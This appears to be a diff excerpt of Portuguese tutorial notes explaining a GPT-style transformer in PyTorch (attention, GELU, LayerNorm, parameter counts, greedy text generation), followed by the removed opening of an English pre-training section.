||||
def forward(self, x):
|
||||
return self.layers(x)
|
||||
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"])
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x
|
||||
x = self.norm1(x)
|
||||
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
# Shortcut connection for feed forward block
|
||||
shortcut = x
|
||||
x = self.norm2(x)
|
||||
x = self.ff(x)
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
return x
|
||||
|
||||
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(
|
||||
cfg["emb_dim"], cfg["vocab_size"], bias=False
|
||||
)
|
||||
|
||||
def forward(self, in_idx):
|
||||
batch_size, seq_len = in_idx.shape
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
|
||||
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_emb(x)
|
||||
x = self.trf_blocks(x)
|
||||
x = self.final_norm(x)
|
||||
logits = self.out_head(x)
|
||||
return logits
|
||||
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
out = model(batch)
|
||||
print("Input batch:\n", batch)
|
||||
print("\nOutput shape:", out.shape)
|
||||
print(out)
|
||||
```
|
||||
### **Função de Ativação GELU**
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
```
|
||||
#### **Propósito e Funcionalidade**
|
||||
|
||||
- **GELU (Unidade Linear de Erro Gaussiano):** Uma função de ativação que introduz não linearidade no modelo.
|
||||
- **Ativação Suave:** Ao contrário do ReLU, que zera entradas negativas, o GELU mapeia suavemente entradas para saídas, permitindo pequenos valores não nulos para entradas negativas.
|
||||
- **Definição Matemática:**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> O objetivo do uso desta função após camadas lineares dentro da camada FeedForward é mudar os dados lineares para não lineares, permitindo que o modelo aprenda relações complexas e não lineares.
|
||||
|
||||
### **Rede Neural FeedForward**
|
||||
|
||||
_Formas foram adicionadas como comentários para entender melhor as formas das matrizes:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **Propósito e Funcionalidade**
|
||||
|
||||
- **Rede FeedForward por Posição:** Aplica uma rede totalmente conectada de duas camadas a cada posição separadamente e de forma idêntica.
|
||||
- **Detalhes da Camada:**
|
||||
- **Primeira Camada Linear:** Expande a dimensionalidade de `emb_dim` para `4 * emb_dim`.
|
||||
- **Ativação GELU:** Aplica não-linearidade.
|
||||
- **Segunda Camada Linear:** Reduz a dimensionalidade de volta para `emb_dim`.
|
||||
|
||||
> [!NOTE]
|
||||
> Como você pode ver, a rede Feed Forward usa 3 camadas. A primeira é uma camada linear que multiplicará as dimensões por 4 usando pesos lineares (parâmetros a serem treinados dentro do modelo). Em seguida, a função GELU é usada em todas essas dimensões para aplicar variações não-lineares para capturar representações mais ricas e, finalmente, outra camada linear é usada para retornar ao tamanho original das dimensões.
|
||||
|
||||
### **Mecanismo de Atenção Multi-Cabeça**
|
||||
|
||||
Isso já foi explicado em uma seção anterior.
|
||||
|
||||
#### **Propósito e Funcionalidade**
|
||||
|
||||
- **Auto-Atenção Multi-Cabeça:** Permite que o modelo se concentre em diferentes posições dentro da sequência de entrada ao codificar um token.
|
||||
- **Componentes Chave:**
|
||||
- **Consultas, Chaves, Valores:** Projeções lineares da entrada, usadas para calcular pontuações de atenção.
|
||||
- **Cabeças:** Múltiplos mecanismos de atenção funcionando em paralelo (`num_heads`), cada um com uma dimensão reduzida (`head_dim`).
|
||||
- **Pontuações de Atenção:** Calculadas como o produto escalar de consultas e chaves, escaladas e mascaradas.
|
||||
- **Mascaramento:** Uma máscara causal é aplicada para evitar que o modelo preste atenção a tokens futuros (importante para modelos autoregressivos como o GPT).
|
||||
- **Pesos de Atenção:** Softmax das pontuações de atenção mascaradas e escaladas.
|
||||
- **Vetor de Contexto:** Soma ponderada dos valores, de acordo com os pesos de atenção.
|
||||
- **Projeção de Saída:** Camada linear para combinar as saídas de todas as cabeças.
|
||||
|
||||
> [!NOTE]
|
||||
> O objetivo desta rede é encontrar as relações entre tokens no mesmo contexto. Além disso, os tokens são divididos em diferentes cabeças para evitar overfitting, embora as relações finais encontradas por cabeça sejam combinadas no final desta rede.
|
||||
>
|
||||
> Além disso, durante o treinamento, uma **máscara causal** é aplicada para que tokens posteriores não sejam levados em conta ao buscar as relações específicas de um token e algum **dropout** também é aplicado para **prevenir overfitting**.
|
||||
|
||||
### **Normalização** da Camada
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5 # Prevent division by zero during normalization.
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
```
|
||||
#### **Propósito e Funcionalidade**
|
||||
|
||||
- **Layer Normalization:** Uma técnica usada para normalizar as entradas entre as características (dimensões de embedding) para cada exemplo individual em um lote.
|
||||
- **Componentes:**
|
||||
- **`eps`:** Uma constante pequena (`1e-5`) adicionada à variância para evitar divisão por zero durante a normalização.
|
||||
- **`scale` e `shift`:** Parâmetros aprendíveis (`nn.Parameter`) que permitem ao modelo escalar e deslocar a saída normalizada. Eles são inicializados como uns e zeros, respectivamente.
|
||||
- **Processo de Normalização:**
|
||||
- **Calcular Média (`mean`):** Calcula a média da entrada `x` ao longo da dimensão de embedding (`dim=-1`), mantendo a dimensão para broadcasting (`keepdim=True`).
|
||||
- **Calcular Variância (`var`):** Calcula a variância de `x` ao longo da dimensão de embedding, também mantendo a dimensão. O parâmetro `unbiased=False` garante que a variância seja calculada usando o estimador enviesado (dividindo por `N` em vez de `N-1`), o que é apropriado ao normalizar sobre características em vez de amostras.
|
||||
- **Normalizar (`norm_x`):** Subtrai a média de `x` e divide pela raiz quadrada da variância mais `eps`.
|
||||
- **Escalar e Deslocar:** Aplica os parâmetros aprendíveis `scale` e `shift` à saída normalizada.
|
||||
|
||||
> [!NOTE]
|
||||
> O objetivo é garantir uma média de 0 com uma variância de 1 em todas as dimensões do mesmo token. O objetivo disso é **estabilizar o treinamento de redes neurais profundas** reduzindo a mudança interna de covariáveis, que se refere à mudança na distribuição das ativações da rede devido à atualização de parâmetros durante o treinamento.
|
||||
|
||||
### **Bloco Transformer**
|
||||
|
||||
_Formas foram adicionadas como comentários para entender melhor as formas das matrizes:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"]
|
||||
)
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for feedforward block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
```
|
||||
#### **Propósito e Funcionalidade**
|
||||
|
||||
- **Composição de Camadas:** Combina atenção multi-cabeça, rede feedforward, normalização de camada e conexões residuais.
|
||||
- **Normalização de Camada:** Aplicada antes das camadas de atenção e feedforward para treinamento estável.
|
||||
- **Conexões Residuais (Atalhos):** Adiciona a entrada de uma camada à sua saída para melhorar o fluxo de gradiente e permitir o treinamento de redes profundas.
|
||||
- **Dropout:** Aplicado após as camadas de atenção e feedforward para regularização.
|
||||
|
||||
#### **Funcionalidade Passo a Passo**
|
||||
|
||||
1. **Primeiro Caminho Residual (Auto-Atenção):**
|
||||
- **Entrada (`shortcut`):** Salvar a entrada original para a conexão residual.
|
||||
- **Normalização de Camada (`norm1`):** Normalizar a entrada.
|
||||
- **Atenção Multi-Cabeça (`att`):** Aplicar auto-atendimento.
|
||||
- **Dropout (`drop_shortcut`):** Aplicar dropout para regularização.
|
||||
- **Adicionar Residual (`x + shortcut`):** Combinar com a entrada original.
|
||||
2. **Segundo Caminho Residual (FeedForward):**
|
||||
- **Entrada (`shortcut`):** Salvar a entrada atualizada para a próxima conexão residual.
|
||||
- **Normalização de Camada (`norm2`):** Normalizar a entrada.
|
||||
- **Rede FeedForward (`ff`):** Aplicar a transformação feedforward.
|
||||
- **Dropout (`drop_shortcut`):** Aplicar dropout.
|
||||
- **Adicionar Residual (`x + shortcut`):** Combinar com a entrada do primeiro caminho residual.
|
||||
|
||||
> [!NOTE]
|
||||
> O bloco transformer agrupa todas as redes e aplica algumas **normalizações** e **dropouts** para melhorar a estabilidade e os resultados do treinamento.\
|
||||
> Note como os dropouts são feitos após o uso de cada rede, enquanto a normalização é aplicada antes.
|
||||
>
|
||||
> Além disso, também utiliza atalhos que consistem em **adicionar a saída de uma rede com sua entrada**. Isso ajuda a prevenir o problema do gradiente que desaparece, garantindo que as camadas iniciais contribuam "tanto" quanto as últimas.
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
_Formas foram adicionadas como comentários para entender melhor as formas das matrizes:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
# shape: (vocab_size, emb_dim)
|
||||
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
# shape: (context_length, emb_dim)
|
||||
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
|
||||
)
|
||||
# Stack of TransformerBlocks
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
|
||||
# shape: (emb_dim, vocab_size)
|
||||
|
||||
def forward(self, in_idx):
|
||||
# in_idx shape: (batch_size, seq_len)
|
||||
batch_size, seq_len = in_idx.shape
|
||||
|
||||
# Token embeddings
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
# shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Positional embeddings
|
||||
pos_indices = torch.arange(seq_len, device=in_idx.device)
|
||||
# shape: (seq_len,)
|
||||
pos_embeds = self.pos_emb(pos_indices)
|
||||
# shape: (seq_len, emb_dim)
|
||||
|
||||
# Add token and positional embeddings
|
||||
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.drop_emb(x) # Dropout applied
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.trf_blocks(x) # Pass through Transformer blocks
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.final_norm(x) # Final LayerNorm
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
logits = self.out_head(x) # Project to vocabulary size
|
||||
# logits shape: (batch_size, seq_len, vocab_size)
|
||||
|
||||
return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
```
|
||||
#### **Propósito e Funcionalidade**
|
||||
|
||||
- **Camadas de Embedding:**
|
||||
- **Token Embeddings (`tok_emb`):** Converte índices de tokens em embeddings. Como lembrete, estes são os pesos dados a cada dimensão de cada token no vocabulário.
|
||||
- **Positional Embeddings (`pos_emb`):** Adiciona informações de posição aos embeddings para capturar a ordem dos tokens. Como lembrete, estes são os pesos dados ao token de acordo com sua posição no texto.
|
||||
- **Dropout (`drop_emb`):** Aplicado aos embeddings para regularização.
|
||||
- **Blocos Transformer (`trf_blocks`):** Pilha de `n_layers` blocos transformer para processar embeddings.
|
||||
- **Normalização Final (`final_norm`):** Normalização de camada antes da camada de saída.
|
||||
- **Camada de Saída (`out_head`):** Projeta os estados ocultos finais para o tamanho do vocabulário para produzir logits para previsão.
|
||||
|
||||
> [!NOTE]
|
||||
> O objetivo desta classe é usar todas as outras redes mencionadas para **prever o próximo token em uma sequência**, o que é fundamental para tarefas como geração de texto.
|
||||
>
|
||||
> Note como ela **usará tantos blocos transformer quanto indicado** e que cada bloco transformer está usando uma rede de atenção multi-head, uma rede feed forward e várias normalizações. Portanto, se 12 blocos transformer forem usados, multiplique isso por 12.
|
||||
>
|
||||
> Além disso, uma camada de **normalização** é adicionada **antes** da **saída** e uma camada linear final é aplicada no final para obter os resultados com as dimensões adequadas. Note como cada vetor final tem o tamanho do vocabulário utilizado. Isso ocorre porque está tentando obter uma probabilidade por token possível dentro do vocabulário.
|
||||
|
||||
## Número de Parâmetros a Treinar
|
||||
|
||||
Tendo a estrutura GPT definida, é possível descobrir o número de parâmetros a treinar:
|
||||
```python
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
total_params = sum(p.numel() for p in model.parameters())
|
||||
print(f"Total number of parameters: {total_params:,}")
|
||||
# Total number of parameters: 163,009,536
|
||||
```
|
||||
### **Cálculo Passo a Passo**
|
||||
|
||||
#### **1. Camadas de Embedding: Token Embedding & Position Embedding**
|
||||
|
||||
- **Camada:** `nn.Embedding(vocab_size, emb_dim)`
|
||||
- **Parâmetros:** `vocab_size * emb_dim`
|
||||
```python
|
||||
token_embedding_params = 50257 * 768 = 38,597,376
|
||||
```
|
||||
- **Camada:** `nn.Embedding(context_length, emb_dim)`
|
||||
- **Parâmetros:** `context_length * emb_dim`
|
||||
```python
|
||||
position_embedding_params = 1024 * 768 = 786,432
|
||||
```
|
||||
**Total de Parâmetros de Embedding**
|
||||
```python
|
||||
embedding_params = token_embedding_params + position_embedding_params
|
||||
embedding_params = 38,597,376 + 786,432 = 39,383,808
|
||||
```
|
||||
#### **2. Blocos Transformer**
|
||||
|
||||
Existem 12 blocos transformer, então vamos calcular os parâmetros para um bloco e depois multiplicar por 12.
|
||||
|
||||
**Parâmetros por Bloco Transformer**
|
||||
|
||||
**a. Atenção Multi-Cabeça**
|
||||
|
||||
- **Componentes:**
|
||||
- **Camada Linear de Consulta (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
- **Camada Linear de Chave (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
- **Camada Linear de Valor (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
- **Projeção de Saída (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
|
||||
- **Cálculos:**
|
||||
|
||||
- **Cada um de `W_query`, `W_key`, `W_value`:**
|
||||
|
||||
```python
|
||||
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
|
||||
```
|
||||
|
||||
Como existem três dessas camadas:
|
||||
|
||||
```python
|
||||
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
|
||||
```
|
||||
|
||||
- **Projeção de Saída (`out_proj`):**
|
||||
|
||||
```python
|
||||
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
|
||||
```
|
||||
|
||||
- **Total de Parâmetros de Atenção Multi-Cabeça:**
|
||||
|
||||
```python
|
||||
mha_params = total_qkv_params + out_proj_params
|
||||
mha_params = 1,769,472 + 590,592 = 2,360,064
|
||||
```
|
||||
|
||||
**b. Rede FeedForward**
|
||||
|
||||
- **Componentes:**
|
||||
- **Primeira Camada Linear:** `nn.Linear(emb_dim, 4 * emb_dim)`
|
||||
- **Segunda Camada Linear:** `nn.Linear(4 * emb_dim, emb_dim)`
|
||||
- **Cálculos:**
|
||||
|
||||
- **Primeira Camada Linear:**
|
||||
|
||||
```python
|
||||
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
|
||||
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
|
||||
```
|
||||
|
||||
- **Segunda Camada Linear:**
|
||||
|
||||
```python
|
||||
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
|
||||
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
|
||||
```
|
||||
|
||||
- **Total de Parâmetros FeedForward:**
|
||||
|
||||
```python
|
||||
ff_params = ff_first_layer_params + ff_second_layer_params
|
||||
ff_params = 2,362,368 + 2,360,064 = 4,722,432
|
||||
```
|
||||
|
||||
**c. Normalizações de Camada**
|
||||
|
||||
- **Componentes:**
|
||||
- Duas instâncias de `LayerNorm` por bloco.
|
||||
- Cada `LayerNorm` tem `2 * emb_dim` parâmetros (escala e deslocamento).
|
||||
- **Cálculos:**
|
||||
|
||||
```python
|
||||
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
```
|
||||
|
||||
**d. Total de Parâmetros por Bloco Transformer**
|
||||
```python
|
||||
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
|
||||
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||
```
|
||||
**Total de Parâmetros para Todos os Blocos Transformer**
|
||||
```python
|
||||
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
|
||||
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```
|
||||
#### **3. Camadas Finais**
|
||||
|
||||
**a. Normalização da Camada Final**
|
||||
|
||||
- **Parâmetros:** `2 * emb_dim` (escala e deslocamento)
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
**b. Camada de Projeção de Saída (`out_head`)**
|
||||
|
||||
- **Camada:** `nn.Linear(emb_dim, vocab_size, bias=False)`
|
||||
- **Parâmetros:** `emb_dim * vocab_size`
|
||||
```python
|
||||
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
|
||||
```
|
||||
#### **4. Resumindo Todos os Parâmetros**
|
||||
```python
|
||||
pythonCopy codetotal_params = (
|
||||
embedding_params +
|
||||
total_transformer_blocks_params +
|
||||
final_layer_norm_params +
|
||||
output_projection_params
|
||||
)
|
||||
total_params = (
|
||||
39,383,808 +
|
||||
85,026,816 +
|
||||
1,536 +
|
||||
38,597,376
|
||||
)
|
||||
total_params = 163,009,536
|
||||
```
|
||||
## Gerar Texto
|
||||
|
||||
Tendo um modelo que prevê o próximo token como o anterior, é necessário apenas pegar os últimos valores de token da saída (já que eles serão os do token previsto), que será um **valor por entrada no vocabulário** e então usar a função `softmax` para normalizar as dimensões em probabilidades que somam 1 e, em seguida, obter o índice da maior entrada, que será o índice da palavra dentro do vocabulário.
|
||||
|
||||
Código de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
def generate_text_simple(model, idx, max_new_tokens, context_size):
|
||||
# idx is (batch, n_tokens) array of indices in the current context
|
||||
for _ in range(max_new_tokens):
|
||||
|
||||
# Crop current context if it exceeds the supported context size
|
||||
# E.g., if LLM supports only 5 tokens, and the context size is 10
|
||||
# then only the last 5 tokens are used as context
|
||||
idx_cond = idx[:, -context_size:]
|
||||
|
||||
# Get the predictions
|
||||
with torch.no_grad():
|
||||
logits = model(idx_cond)
|
||||
|
||||
# Focus only on the last time step
|
||||
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
|
||||
logits = logits[:, -1, :]
|
||||
|
||||
# Apply softmax to get probabilities
|
||||
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
|
||||
|
||||
# Get the idx of the vocab entry with the highest probability value
|
||||
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
|
||||
|
||||
# Append sampled index to the running sequence
|
||||
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
|
||||
|
||||
return idx
|
||||
|
||||
|
||||
start_context = "Hello, I am"
|
||||
|
||||
encoded = tokenizer.encode(start_context)
|
||||
print("encoded:", encoded)
|
||||
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
|
||||
print("encoded_tensor.shape:", encoded_tensor.shape)
|
||||
|
||||
model.eval() # disable dropout
|
||||
|
||||
out = generate_text_simple(
|
||||
model=model,
|
||||
idx=encoded_tensor,
|
||||
max_new_tokens=6,
|
||||
context_size=GPT_CONFIG_124M["context_length"]
|
||||
)
|
||||
|
||||
print("Output:", out)
|
||||
print("Output length:", len(out[0]))
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,970 +0,0 @@
|
||||
# 6. Pre-training & Loading models
|
||||
|
||||
## Text Generation
|
||||
|
||||
In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**.
|
||||
|
||||
As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose.
|
||||
|
||||
> [!TIP]
|
||||
> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model.
|
||||
|
||||
## Text Evaluation
|
||||
|
||||
In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens.
|
||||
|
||||
In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**.
|
||||
|
||||
However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base *e*) of **7.4541e-05** is approximately **-9.5042**.\
|
||||
